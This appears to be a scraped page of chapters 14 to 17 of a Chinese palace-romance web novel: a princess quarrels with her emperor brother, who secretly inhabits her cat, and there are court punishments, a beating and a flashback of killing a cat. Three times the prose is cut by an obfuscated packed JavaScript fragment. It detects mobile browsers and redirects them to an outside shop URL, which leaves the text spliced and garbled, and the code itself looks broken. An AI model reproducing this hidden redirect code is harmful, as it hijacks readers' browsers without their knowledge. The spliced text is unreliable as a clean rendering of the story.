安玥低头写字,那头冷淡一声:“抄经是为了静心,妹妹不该走神才是。” 两张书案离得极近,一只横向,一只纵向,边角几乎要对在一起。安玥笔尖的字洇成了一团墨,却是乖巧道:“谨遵皇兄教诲。” 今日之事,她倒不觉得皇兄是为了谁主持公道,倒更像是寻了个由头磋磨她。 先前那件事,他绝对是故意的! 曲闻昭看着她执笔泛白的指尖,唇角微扯,好整以暇地看了眼窗外,起身。 胡禄在房外候了片刻,房门打开,便见陛下从里面出来。 靴子一步步碾过阶上的落雪,留下印记。玄黑的氅衣亦从阶面扫过。 “陛下。” 曲闻昭睇他一眼。 胡禄将事情原委一五一十告知,未偏向谁,也无添油加醋,陛下有自己的判断。 曲闻昭耐心听胡禄说完,低低笑了声。他掩在袖中的手轻轻捻了下,上面似乎还留有一丝潮意。 “他既目无长姐,那便按宫规,打二十鞭。” 胡禄有些讶异地抬起头,反应过来,“是。” 安玥端坐在案边写了阵,悄悄扭过头,见屋门没有打开的趋势。她看了一眼边上的茶水,抿唇伸出两根手指捻起壶盖,将手中沾了墨的毛笔放到里面快速搅了搅。 她先前便闻到了,壶子里烧的是泾阳茯砖茶,又是陈茶,茶汤颜色本就深,她悄悄放那一点,并不明显。可若是不放,她又咽不下这口气。 安玥做完这一切,飞快缩回手。她不知怎的觉得后颈有些发凉,心虚地看了眼身后,好在房门依旧紧闭。 她端坐回去,若无其事地抄书,不由得有些后悔。一阵冷风吹过,将宣纸吹起弧度。安玥猜到是有人进来,好不容易安定下来的心瞬间扑通直跳。她稳了稳心绪,面上不见异样。 曲闻昭站在她身后不远处,见她端正坐着,时不时用笔尖沾了些墨水,瞧着颇为乖巧。 他走近了,在安玥对面坐下。 安玥又写两个字,听到外边传来一声撕心裂肺的哭嚎,“皇兄!臣弟错了!” 14. 第 14 章 安玥原本跳得飞快的心被这一震,不由颤了颤,一扭头,果真见到一张熟悉的脸,那张原本趾高气扬的面上沾满了鼻涕眼泪。 曲靖溪跪在雪中,他双手朝上,掌心通红,离近了瞧,还泛着青紫,显然拿戒尺的人是下了功夫,往人骨头上打。又是一鞭戒尺落下他手心,“啪”得一声脆响,回荡在冰天雪地里。 这显然不是第一鞭了,只是先前曲靖溪碍于安玥在,强忍着没出声。 胡禄在边上,似是好言相劝:“七皇子殿下,您给公主道个歉,此事便算过去了。” 他双唇颤抖着,直到又一鞭下来,他终于忍受不住:“是皇弟的错!” 他一嗓子喊完,察觉四周无数只眼睛盯着自己,如芒在背,好像连拍打在身上的风都在嘲笑自己。 但他已经顾不得这些了,他感觉他的手快断了。以往犯了错,父皇也会命人打他手板,可哪像今日这般疼。 “皇姊,是皇弟的错,皇弟不该对皇姊出言不逊!”他连滚带爬,“别打了!别打了!” 安玥看着小霸王一把鼻涕一把泪在雪地里翻滚,瞧着好不狼狈。她先前心底那股心惊胆战之意被这么一闹,散了些,又有些解气。 可只看了一眼,她回过头抄书,决心不介入此事。 不防一道清冷的声音,如鬼魅般自身后冒出:“他出言不逊,不顾礼法。皇兄替你惩治他,不高兴吗?” 这一声不大不小,却足以让外边的人听清了。 安玥捏着笔的手用了几分力,“……做长姐的总不能同弟弟计较,他知道错了便好。” 曲闻昭朝外面看了眼。原本停了动作,等着陛下示意的宫人收到示意,将剩下的鞭子抽完,把瘫在地上的人拖回偏殿。 积雪被压出两条深痕。 安玥一回头,见皇兄盯着自己,忽然觉着手心也有些痛。 这是什么意思?杀鸡儆猴吗?还是想让她受人记恨,借刀杀人? 曲闻昭看她神情,便知她多想,倒也好。他抬手要倒茶。安玥见他动作,不知怎的有些后悔,急急压住曲闻昭的手,“别喝!” 曲闻昭动作微顿,目光不着痕迹地在那双压着自己的手上掠过,抬眼看她。 安玥打了个哆嗦,缩回手:“茶水凉了……这么冷的天,差人换一壶吧。” “无妨。” 安玥见皇兄已经提起茶壶,怕他起疑,不敢再劝。垂着头假装抄书,不敢再看。 曲闻昭将茶盏递至唇畔,眼中掠过一抹戏谑,抬眼看向面前心不在焉抄书的人。 他语气温和:“饿了吗?” 安玥笔尖微顿,登时警铃大作,“还好。” 曲闻昭含笑吩咐了声,让人送了糕点过来。安玥看清盘子里各式各样的糕点,觉得喉咙被什么东西卡住,想吐又吐不上来。 她试探性地拿了一块最小的,“多谢皇兄。” “上回送妹妹的糕点,妹妹吃完了么?” 她刚咬两口,措不及防听到这一声,被糕点噎得直咳嗽。一只手极为体贴地将茶水递来,安玥心中想着应对,不经意喝了一口。 墨水加了麝香,焦苦与烟灰气混着糕点的甜,安玥险些吐出来,一抬眸触到皇兄目色。她打了个激灵,捂着唇咽下。她想吐,心跳得飞快,一边在想皇兄是否察觉端倪,感觉肠子都被墨染成了乌青色,“……皇兄恕罪,那糕点实在太多,还剩一些……但皇兄的心意安玥心领了。” “吃不完便算了,改日再给你送新的便是。” “不……不必了。”安玥咬着牙拒绝,对上曲闻昭温和的眸光,安玥解释:“不敢劳烦皇兄。” “并不麻烦。我以为妹妹是喜欢吃的,毕竟妹妹宫里的宫人都觉得我与妹妹情谊深厚。” 安玥心中惊疑不定,皇兄是不是察觉出什么? “安玥与皇兄是兄妹,宫人们觉得情谊深厚也无可厚非。” 曲闻昭目光落在她面上,生出戏谑,像是一颗滚珠不紧不慢从人面上滚过,不痛却痒,让人觉得如芒在背。 接下来几个时辰,二人都未再说话。安玥坐了会,觉得腰酸背痛,又不敢表现出来,见皇兄不管自己,悄悄把背弯下来些,寻了个相对舒服的姿势。 房内烧了新茶,茶水“咕噜咕噜”冒着响。 曲闻昭将最后一本奏折批完,一抬头,见安玥不知何时趴在桌案上,一双羽睫垂着,呼吸平稳,面靥微微泛红,发髻也毫无攻击力地披垂下,俨然是睡着了。 他盯着面前的人,鬼使神差地,伸出一根手指,缠绕上她的头发。 房门被叩响,胡禄试探性地问:“陛下,七殿下昏过去了,似是起了高热,可要让人回去?” “陛下?” 安玥被动静闹醒,醒来时,眼神还有些迷蒙。 曲闻昭在此之前已收回手,他手肘微曲,横放在桌边,垂下的指尖还勾有一根从她头上带下来的发丝。 “送回去便是。” “是。” 他回过视线,见安玥已经清醒了大半。原本白皙的面上映了块黑色的墨迹,瞧着像只花猫,尤为滑稽。 她显然未察觉这一点,还在心虚地解释:“是皇兄这儿太暖和了,安玥才不小心睡着了。皇兄莫要生气。” 曲闻昭看着她面上的墨迹,极为善解人意,“既然困了就回去,明日再抄也是一样。” 安玥微微瞪大眼睛,不敢相信今日皇兄会这般好说话,欢天喜地:“多谢皇兄!” 她站起身,临走前不忘补一句,“皇兄最好了,安玥明日将经文抄好了便给你。” 安玥从宁兴宫回去,走出两步,总觉得有无数道目光朝这边看来,待她对视回去,那些目光又闪躲开。 直到清栀小跑着朝这边过来。 “公主,您……”她话一顿,指了指自己的脸。 “怎么了?” 清栀压低声提醒:“您面上沾了墨迹。” 安玥僵了僵,抬手去蹭,“这儿吗?” 清栀取了块帕子,“奴婢来吧。” 安玥想起,这墨迹应是先前睡着不慎印上的,她面上有些羞恼。 里面那人是存心看她笑话。 安玥回去便听人议论,说今早七皇子欺打长姐,目无尊长,被陛下罚抽了十鞭。后被罚跪在偏殿抄书,回去后一双手青紫,整个人起了高热,太医忙了一晚上。 寒风从窗缝灌入,发出呜咽声。 “溪儿,你莫要吓母妃。”莲太妃双目通红跪在床边,一只手轻轻摸了摸床上的人的额心,只摸到一片滚烫。 “太医来了没有?” “娘娘,已经在来的路上了。今日积雪未……” “废物!都是一帮废物!磨磨蹭蹭,是要把我儿拖死吗?”莲太妃猛地加大了声量,双目亦是布满血丝,没了素日雍容端庄的样子,瞧着有些可怖。 岁康站在一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613224|187407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侧,看着面前一幕,亦是不知如何是好。 “母妃……” 榻上的人嗫喏了声。 莲太妃双目颤了颤,瞬间变得阴毒,“安玥这个贱人!同那贱女人一样,惯会使狐媚手段,蛊惑人心。” “母妃,听说当年那女人入宫前便怀有身孕了,只是父皇一再坚持,那孩子是他的。可如今想想,安玥同父皇长得无一点相似之处。母妃您说,皇兄这般偏袒她,莫不是知道了什么,两人暗中勾连在一……” “啪!” 岁康话未说完,被一巴掌打偏了头,她眼底闪过一丝难以置信,“母妃……?” 莲太妃喘着粗气,抬起的那只手跟着颤抖,亦是不敢相信自己做了什么。她后知后觉,要去抱她,却被岁康甩开。 “是母妃的错,母妃急昏头了。只是这样的话,万万说不得。” 岁康哪里还听得进去,她满目通红看着莲太妃,俨然是委屈极了,抽泣一声,跺了跺脚,冲出屋去。 安玥抱着那卷经文回去。经文不长,可若要抄满二十遍,也要一番功夫。 房门紧闭,她坐在书案后,越想越生气,心底把曲闻昭骂遍了。 “曲靖溪是小傻子,皇兄是大傻子,一家傻子凑齐了。” “皇兄是大傻子!皇兄是大傻子!” 安玥被这突兀的一声吓了一跳,心中惊疑不定,一扭头,见是咄咄在说话。眼见着咄咄越喊越大声,她后背发凉,顾不得生气,连忙小跑着上前,做了个嘘声的动作。 咄咄睁着一双圆溜溜的眼睛看她,学着若桃平日里的语气,“公主回来啦,公主回来啦。” 安玥还维持着弯腰的动作,“咄咄你吓死我了。刚刚那句话,以后不可再说。不然会有坏人来把你炖了。” 可惜安玥还是高估了咄咄的脑子。它只是晃了晃脑袋。 安玥逗了咄咄片刻,坐回矮榻抄书去了。 晚间,曲闻昭穿过来后便在桌下趴了会,等了一炷香,见安玥没有像往常一样过来轻薄他,还觉着奇怪,缓缓从桌子下走出。 映入眼帘的是一双穿着绣鞋的足,安玥伏在案上,笔杆动着。 曲闻昭在原地站了会,安玥连个眼神都没分给他,他觉得无趣。 还要抄多久? 他在原地又踱了两步,最后索性跳回榻上。榻不大不小,只是对于眼下这具身形来说就要空落的多。 他踩着绸被,闭眼在榻上躺了阵,莫名有些睡不着。 可笑,他是习惯了被人抱着睡,没有还睡不着了?曲闻昭心底冷笑了声,忍着恼意把眼睛闭上。不知过来多久,他从榻上站起。 他在榻上踱了两步,疑心是被下了降头,想离安玥远点,略显烦躁地跳下了榻,朝屋外走去。 皓月当空,他踩着簸箕跃上墙头,又往下一跃,跳出宫门。 这还是他第一次借着猫身翻墙。 双脚落地,旋即一阵天旋地转,黑暗笼罩上来,混杂着一股土腥气。 他心下微惊,双脚离地,他挣脱不得,察觉自己被一只布套困死。 这宫里不乏有心思扭曲的宫女太监,有虐打猫犬之癖,但仅囿于无主之畜。 何人如此大胆?! “小狸奴啊小狸奴,咱家守了你几晚上,可算是守到你了。要怪就怪,你们主儿把你放在心尖儿上,偏偏又得罪了岁康公主。” “那就别怪咱家心狠手辣了。” 15. 第 15 章 岁康。曲闻昭目色微寒,旋即,一股剧痛席卷全身,他被重重砸在地上,浑身骨头都要颠散。 他挣扎着要爬起身,一根长棍蒙头打来。腿骨断裂般的疼。 “用力打!” …… “灾星,你说你母妃是不是就是被你克死的啊?” “你们说,我多打他两下,能不能散散晦气啊?” 曲闻昭被几只手狠狠压在地上,棍棒一下一下落在他身上。 他猛地抬眼,盯着面前的人。眼底不复以往那般柔顺,似有阴翳划过,沾着血气。 曲婺触到他眼神,面色微微变了下,旋即反应过来,眼底闪过一丝阴狠。 他扬起手里的马鞭,重重落下,“啪”得一声,鞭上倒刺划破了他背上的衣服。 曲闻昭闷哼一声,他额上渗出汗珠,顺着眼睫滑入眼中,酸刺感逼得眼前一片模糊,恍惚间,他视见一辆明黄的宫车辘辘而过。 他张了张口,似是喊了声:“父皇……” 耳畔泄出刺耳的笑声。 曲婺弯下腰,手里的马鞭轻轻拍了下他的脸,力道不算大,却极具侮辱性,他口中说出来的话更是要将人骨头刮下来一层,“瞧瞧这可怜样,真是我见犹怜啊。若我是个短袖,怕是也得动恻隐之心了。” “你猜我们为什么敢这么肆无忌惮?哈哈哈哈!你以为父皇会管你么?” 曲婺压低了声音:“像你这等身负不祥之人,父皇巴不得你生场大病,最好病死了去。我母妃将你养这么大,也算是天大的恩情人,你可得求着我,我们还能赏你一口饭……” 他话未说完,耳畔响起人声:“你在做什么?” 曲闻昭睁眼,视线里出现一双蟒靴。 再往上,是朱红的锦袍,玉带嵌着东珠,紫貂披风压肩。体态颀长,端得是龙章凤姿之相。 他并未察觉有人在看自己。亦或是察觉到了,只是这目光并不值得他去回应。 曲婺脊背微僵,一抬头,见是曲奕。他收了吊儿郎当的样子,恭敬行礼,“大哥。”他认真道:“皇弟在同兄长开玩笑呢。” “开玩笑也要有度,冬日宴要开始了,一会安玥要过来,莫要让她看见这幅场景。” 曲婺勉强笑笑,“皇弟知错。” 他挥了挥手,原本架着曲闻昭的宫人兴致缺缺松了力道。 曲闻昭倒在地上,他试着抬了抬手腕,没断。背部还渗着血,他浑然感受不到般,支起身,绣着夔龙纹的衣摆从他身侧掠过,不带温度。 等再抬眼,曲奕已经走远了。只留一道背影,高高在上。 天边是一顶圆日,压在人头上,红得刺眼。曲闻昭却浑然感受不到般。他抬起手,虚虚抓了下那轮圆日,他指缝沾了血,血珠随着动作滴落,在泥地中开出鲜红的花。 曲闻昭兀得笑了。 斜日将残,本就是要落到脚边的东西。 黑暗笼罩,意识模糊之际,不远处传来一声呵斥,“你们在做什么?!” 他听到一道慌乱的脚步朝这边奔来,他勉强抬了抬眼,看见一张熟悉的脸。 她将他紧紧抱在怀里,瞪大的双目里似有泪光闪烁,夹杂着难过,愤怒,还有旁的他看不懂的情绪。 这宫里养宠的贵人多是看中宠物乖顺,漂亮。可他此刻无需照镜子,便能猜到自己有多狼狈。更遑论手足尽断。 他曾见宫中的妃嫔养了一只狸奴,有一日那只狸奴被炭火烧焦了皮,便被宫人扔在雪地里。 他看见那只狸奴倒在雪地里呻吟,说不清是什么感觉。 只是将那狸奴抱了回去。他有一口饭,便匀它一口饭。那狸奴饿得狠了,也很会审时度势,喂什么都吃,又亲人,随便给它一口饭,它就跟着人跑。 就这样过了半年,狸奴的伤口长全了,只是比从前瘦了许多。直到有一日,那狸奴跑了。再次见到它时,它被曲婺抱在怀里,亲昵地蹭着曲婺的手心。 审时度势,趋利避害,就连一只畜生也不例外。 他觉得脏,觉得恶心。他用一块鱼肉诱得那只狸奴靠近,他给了它一次选择的机会。直到那只狸奴将鱼肉啃得一干二净,它舔了舔唇,转身离开。 曲闻昭兀得笑了,果真是如此。眼看着狸奴越走越远,他掏出事先准备好的匕首,刺入那只狸奴的心脏,直至猫心挖出,胸口处只剩下一个鲜红的洞。血液滚烫,将整只手染得血红。 这只狸奴本就是没有心的,留着也无用。既然不愿乖乖待着,便去死好了。 他心中阴翳未散,腿上刺痛。他回过神,见安玥不知何时已将他带回宫中。 “弄疼你了吗?” 曲闻昭抬起头,见安玥一双眼睛红红的。 他受得伤,怎么她反倒一副受人欺负的样子?也对,他眼下毕竟是她的宠畜,他被人打断腿,无异于甩了安玥一巴掌。 安玥突然低头,在他那双受了伤的腿上轻轻吹了吹,一股轻柔的凉气从腿间扫过,奇异的,那股剧痛竟真的缓解了些,还有些痒。 安玥一边替他包扎伤口,口中念叨个没完,“我回头让太医拿最好的药给你医治,我再把欺负你的那些人毒打一顿,以后你要是嫌在屋里待得闷了,就拽拽我的裙子,我抱着你出去,不会再让你一个人了……” 她今日话好多。 曲闻昭本该觉得厌烦,可奇异的,他觉得心口处似是被什么填满。 安玥替他包扎完伤口,又将他紧紧抱在怀里,一只手轻抚他的背。 “要是再去晚些,我就只能抱着你的尸体哭了,幸好,幸好……” 她话里,怀里的咪儿动了下,似是想证明自己还活着。安玥一把把他拍了回去,“歇着!” 接下来几日,安玥都格外小心翼翼。不让咪儿下地,大多数时候都把咪儿抱在怀里,若是到了饭点,便将他放在膝盖上,将鱼肉端在他面前。 夜里醒来,替他换药,又照顾伤势。好得有些过头。 曲闻昭一开始坚信,她与那些妃嫔并无分别,眼见着他伤势好不了,到头来必会把他弃了,他觉着这样也好,回了宁兴宫,省的受磋磨。 可就这样过了十天半个月,他没被她丢出去,反倒伤势好得奇快。 他觉得心跳得极快,有什么在脱离自己的掌控,让人有些烦躁,这种捉摸不透的感觉让人感觉似是有蚂蚁在啮咬骨髓。 他把这种感受称为嫉妒。嫉妒哪怕只是一只畜生,却能得到一个人无微不至的照顾。 那股不知名的情绪有了归宿,亦理清了由头,他心底那股不安方压下去了大半。 安玥这几日心系咪儿的伤势 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16624065|187407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,眼见快到了日子,她方想起还有经文未抄完。 距离上回已过了六七日,若是再交不出便说不过去了。好在皇兄那尚未派人来催。 她不确定皇兄是不是想酝酿一波大的,再行发难,忙派人去解释了一番,说是纸页太多,有些乱了,待她整理好,明日便给陛下送去。 只是第二日不知怎的又有风声传出,说她同岁□□了龃龉,正被罚抄书。 安玥将最后一笔写完,揉了揉酸痛的手腕,她听着若桃禀报,将笔放下,心里有了计较。 午后又有内侍进宫来催,若桃将盒子里的经文递交内侍手里,“多谢公主,奴婢这便回去复命了。” 角落里有不少宫女三三两两站在柱子后,好奇地看着这头动静。 那内侍转身要离开,安玥突然把人叫住:“公公留步。” 她上前两步,眉眼弯弯,“安玥听闻这心经有消除业障,积攒福报,保人平安之用,是以挑了这一卷,期盼此经能护皇兄平安顺遂。” 那内侍虽不理解这话有何深意,但猜测因是奉承之语,“公主放心,奴婢定会将公主的心意转达。” 安玥将这番话说完,心底郁结散了大半。四周围观的宫女太监见传言有误,一时也都收了心思,专心忙手中的事情。 曲闻昭手里翻着那沓纸,脑中回忆起她昨夜挑灯抄书的样子,下了雪的天,她额头上却沁出一层薄汗,一开始神色尤其焦急,眼看着快抄完了,她左手却捏紧了拳。 最后几张的墨格外地重,有几个字快把纸洇破了。 他听内侍将话禀完,突然笑了声,“你告诉她,既是要让经文起效用,总得心诚,行笔提按有节。可这后几页纸,字迹潦草,不如重抄。” 他这妹妹既然有自损一千也要杀敌一百的骨气,又为何要放在这不痛不痒的讥讽上? 每次都蠢得好笑。 那内侍心下微惊,反应过来陛下是有意刁难公主,一时又担心自己说错了话会被波及,悄悄觑了眼陛下神色,却见陛下眼底含笑,并无生气的样子。 他连忙垂下头应是。 殿门打开,风透过缝隙卷进殿中,将纸页吹得哗啦作响。 积雪未化,缝外是灰蒙的天空,银霜素裹,偶尔露出几块青黑色,是覆了雪的枝。 “莲太妃近日如何?” 胡禄虽不明白陛下怎突然问起莲太妃的事,但还是恭敬道:“听说前几日七皇子高热不退,莲太妃茶饭不思照顾了几日,也受了风寒,尚在病重。” 曲闻昭不知怎的想起安玥那句:若是我的母妃还在的话,母妃也会对我很好的。 “皇陵之地清净肃穆,太妃心绪不宁,传旨让其前往守灵兼以静养,也好为子女积攒福报。” “是。” —— “守灵?”莲太妃支着身子,瞪大眼睛,原本苍白的面色更如枯槁,她语气喃喃。 岁康亦是面无血色,她跪在地上,仰着头,语气焦急:“公公,皇兄可有说要母妃去多久?” “陛下吩咐,既是陪伴先帝,那是忠贞之举,自然是能守多久守多久。” “能守多久守多久是什么意思?!”岁康突然拔高了声量,声音有些发颤,“一辈子回不来了吗?能否向陛下求求情……母妃生了病未愈,可否换旁人……” 16. 第 16 章 前来宣旨的太监一语不发,依旧面带微笑,似乎对这般情态见怪不怪了。最后是卧病在床的莲太妃将岁康语气疲惫地打断,“岁康,别说了。” “母妃!”岁康起身小跑到莲太妃身侧,“母妃你不要去,岁康不要你去,母妃你不要岁康了吗。” 莲太妃伸手,轻轻摸了摸女儿沾了泪痕的脸,心疼道:“母妃不在你身边,你要照顾好自己。你弟弟还小,行事莽撞,你多劝着他些。” “不要……母妃我不要……”岁康泣不成声。 莲太妃声音有些沙哑,“不知陛下可否宽宥一日?” “圣旨上说,是要即日启程。” “皇兄为何如此?!当真就这般不近……” “岁康!”莲太妃厉声打断,“你要记着,谨言慎行。” 她语气染上几分哀怮,“母妃不在了,以后没人提醒你。” 可岁康哪还能听得进去? “母妃,我知道了,一定是安玥,肯定是她和皇兄说了什么……我去找她!” “岁康……咳咳!”莲太妃几乎要从榻上滚下,被侍儿扶住,她伸手要去拽岁康,却拉了个空:“你回来!” 安玥前脚刚打发走皇兄派来的内侍,还在余怒中未回过神,被巨大的吵闹声唤回思绪。 “岁康公主,您不能进去。” “安玥!” “安玥你给我出来!” 安玥站在院中,一扭头,正见一道橙色的身影朝这边飞奔而来。若非来人神色扭曲,她几乎要以为她是来看自己笑话的。 安玥面带微笑,语气却透着不耐:“皇姐怎么来了?” 岁康先前看见几名内侍从安玥宫里出来,还觉得那内侍眼熟,现在方回想起,那几名内侍是皇兄身边的人。她心底的猜测无形中被证实几分,此刻再看见安玥面上的笑意,她觉得更是刺眼:“你少给我装!是不是你做的?!” 安玥眉心微蹙,当即背过身去。身后的人拔高了声量:“就是你!我们何处招惹你,你要使手段,要送我母妃去守皇陵?!” 安玥脚步顿住,莲太妃要去守皇陵了,好事啊。可是和她有什么关系? “皇姐误会了,此事和安玥无关。” “你少给我装蒜!若非你使了狐媚手段,皇兄好端端怎会突然下旨让母妃去守灵!” “你没了母妃,就嫉妒别人,想让天底下的人都和你一样,是不是!” 安玥冷眼看她:“皇姐慎言。皇姊平日说我也就罢了,说这话,不是暗示皇兄忠奸不分,受人蛊惑么。” “我分明不是这个意思!” “安玥怕是没什么能帮上皇姊的。皇姊不如去求求皇兄,再不济就陪太妃娘娘走一段,也好过在安玥这浪费时间。” “你回来!”岁康眼见着安玥越走越远,有些慌了神,“安玥,你替皇兄求求情,我母妃生病了,这么寒的天,母妃怎么受得住!你就没有心吗?!那也是你半个母妃啊!” “安玥!”她追上去想扯她,被侍从拉住,“以前的事,是皇姐的不是行了吧!你帮帮皇姐!” 四周宫人瞧着这一幕,心里有了计较。毕竟谁不知岁康公主与安玥公主不合,听说前几日还让人打断了公主宠畜的腿,如今陛下是替公主出气呢。 安玥听着四周议论,有些想笑。她们也太高估她了。 连着几日悉心照料,咪儿的腿好了许多,但安玥仍不放心它下地,免得刚愈合的骨头又滑脱了。 “今日岁康同我道歉,竟是因为莲太妃要去守灵,她以为这事和我有关,你说她蠢不蠢?” 曲闻昭趴在她膝盖上,浑然未听到般。 安玥压低了声音,“皇兄也蠢极了。” 曲闻昭眼皮子抬了抬,便听安玥接着道:“皇兄若是知道自己本想刁难我,却让宫人误会,以为皇兄宠幸我,无形帮了我一把,怕是要气死。” 曲闻昭冷笑,他早就知道了。没拆穿,只是想多玩几天罢了,倒长了她的气焰。 他臂下微痒,安玥竟双手将他抱起,她一双眼睛弯着,俨然是心情大好,“你说这帮人是不是很蠢?” 安玥一低头,觉得这狸奴似是在瞪人。 好圆的眼睛呐。 安玥将他揽在怀里,一只手勾他下巴,“咪儿你叫一声。” 曲闻昭强忍着怒气,就要从她膝上跳下去,又被一把捞回。 “好了好了,不闹你了。你伤没好,不要乱跑。” 曲闻昭眼皮子轻轻抬了下,由她抱着。 眨眼冬日过去,正值春寒料峭之时,元宵节至。 宫中布了宫宴。太液池畔结满彩灯,水中映月,庭燎烧空,难得热闹。 因先帝殡期未过,此次宫宴不似往年盛大。 高台上的人身着通天冠服,最外是一层玄衣,绣有日月星辰。内里纁裳是朱红色,衣裳华重,穿在曲闻昭身上却半点不显臃肿,反倒华贵非常,不怒自威。 安玥坐在下面,遥遥看着,只觉得皇兄跟画里的人似的,中间隔了一层,这般瞧着,比平日更不好接近。 好在台上的人也并未注意到她。安玥埋着头吃饭,感觉到脚边被毛茸茸的东西蹭了下。她一只手悄悄探到桌下,轻轻摸了下那团雪白,做了个嘘声的动作。 她从边上另取了只筷子,夹了块鱼肉伸到桌下。 台上传来声音:“丞相辅佐两代帝王,劳苦功高,此酒朕与你共饮,以慰辛劳。” 何祈受宠若惊,连忙起身到殿前,他双膝跪下,双手交叠过头顶,“老臣叩谢陛下隆恩!陛下以帝王之尊与臣共饮,此恩臣万死难报。臣必竭尽残年,再辅陛下安邦定国,不负先帝托付!” 曲闻昭往台下看了眼,待要收回目光,瞥见一道亮色的身影,她今日穿了件鹅黄的钿钗礼衣,内里朱红,腰系双佩小绶,大袖用缕金袖了团花纹。 此刻弯着腰,大半个脑袋都埋在案下,不知在忙活什么。 他指腹轻摩虎口。 何祈犹在地砖上跪着,一旁的胡禄见皇帝久久不说话,低声提醒了句:“陛下。” 曲闻昭收了思绪:“爱卿不必多礼,起身落座吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16635991|187407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 安玥刚喂完咪儿,哪知它吃饱了就要往外窜,被安玥急急揪回来,一番动作下来,她后背都渗出一层冷汗。 她原本是担心咪儿伤势未愈,再出现上次那般的情况,咪儿又不习惯旁人照顾,她不放心将咪儿一个人留在宫中,才悄悄带来。 哪知它酒足饭饱了就要往外跑。 咪儿见跑不掉,便在安玥掌心蹭了蹭,安玥刚松一口气,脚边一空,那团白色已经如离弦的箭般窜出去了。 安玥面色微惊,不自觉起身想去追,刚离开杌櫈,她感觉到头顶一道目光清凌凌落在她身上。 她觉知自己还在席上,慌忙坐了回去,饶是动静不大,但已有不少目光注意到这边。 安玥一抬头,见台上目光透着些警告的意味。 安玥缩了缩脖子,连忙埋下头,身子坐正了些。她心底焦急,余光往外瞥了眼,招了招手,同随行的女官贴身说了什么。 不消片刻,胡禄收到消息,凑到曲闻昭耳边,“陛下,公主说身子不适,请求先行离席。” 曲闻昭一手支额,揉着脑袋,眼睛未抬,薄唇轻启,“准。” 他不管她真病还是装病。她出去应是找那只蠢猫的。若是那猫再像上回那般磕了碰了,届时他也得受麻烦。 安玥起身朝曲闻昭遥遥行了一礼,也不管他看到与否,就要离开。临末,她察觉一道目光看向这边。 那是名男子,瞧着同皇兄一般大,眉眼清俊,瞧着面善。安玥礼节性朝他露出抹笑,也未管皇兄是否看到自己,已转身朝殿外赶去。 “公主性子活泼,古灵精怪,倒让臣想起家中小妹。” 说话之人是丞相长子何元初,任翰林编修。 他声音不大,只是闲谈,离得近的几人却听清了。 说者无意听者有心。岁康目光先是怔了下,在无人注意之处,她拽紧了手中的杯盏。 曲闻昭轻轻抬眼,语气意味不明,“是吗?” 靠得近的几位大臣心下了然。都说因祺昭容娘娘一事,陛下不喜安玥公主,如今看来,却有此可能。 何元初将新帝神色收于眼底,默了阵,笑道:“不知陛下以为呢?” 曲闻昭指尖轻轻扣了下桌面,未说话。何元初似是方反应过来,惶恐起身:“微臣失言。” 夜里风凉,主仆三人打着灯,弯腰在草丛里不知寻了多久。 安玥先前出了汗,这会被风一吹,倒有些发冷。她拢了拢身上的狐裘,压低了声:“咪儿?” 清栀察觉公主动作,劝道:“公主,这儿太冷了,您先回去吧,奴婢再唤些人来找便是。” 安玥摆了摆手,“没事,我不冷。” 安玥见这处找不到,便想换个地方再寻。却听到“喵呜”一声,她目光一亮,甫一转身,见一男子向这边缓缓走近,他身着绛纱单衣,中单,襦皆为白色,身姿清逸颀长,眉目疏朗秀逸,若雨中青竹,气质不俗。 靠近了,便见他手里抱着一只雪白的团子,正是咪儿。 安玥不知怎的觉得此人有些眼熟。 17. 第 17 章 “臣翰林编修何元初,见过公主。” 安玥想起此人是谁,她双瞳微微放大:“本宫似乎在父皇的案上见过一册书,编撰者是大人的名字。当时父皇还对大人赞不绝口。” 这一家子倒是当之无愧的簪缨世族。 “公主谬赞。” 安玥好奇地又看了何元初几眼,方想起这些同她似乎也没有什么关系。她目光从咪儿身上移开,莞尔:“不必多礼。” 咪儿趴在何元初怀里,不知是否挣扎不过,只能睁着一双眼睛,可怜巴巴看着安玥。 安玥指了指他怀中的雪团子,有些忐忑:“这是本宫的狸奴,不知何大人可否还给本宫?” 咪儿有时很“清冷傲岸”,但大多时候都很顽皮。她生怕咪儿哪里冒犯到对方。 她情绪都写在面上,何元初似是被她模样逗笑,“这狸奴本就是要还给公主的。” “多谢何……” 何元初刚一松手,咪儿竟骤然抬臂,安玥心头一跳,便见咪儿尖锐的爪子在他手背挠了一道,原本白皙如玉的手背破了皮,顿时渗出血来。 而“始作俑者”全然未察觉自己做错了什么,从何元初手中跳下,钻到主人的裙摆下,对着何元初呲牙。 安玥面色微惊,靠近两步,“何大人可有大碍?” 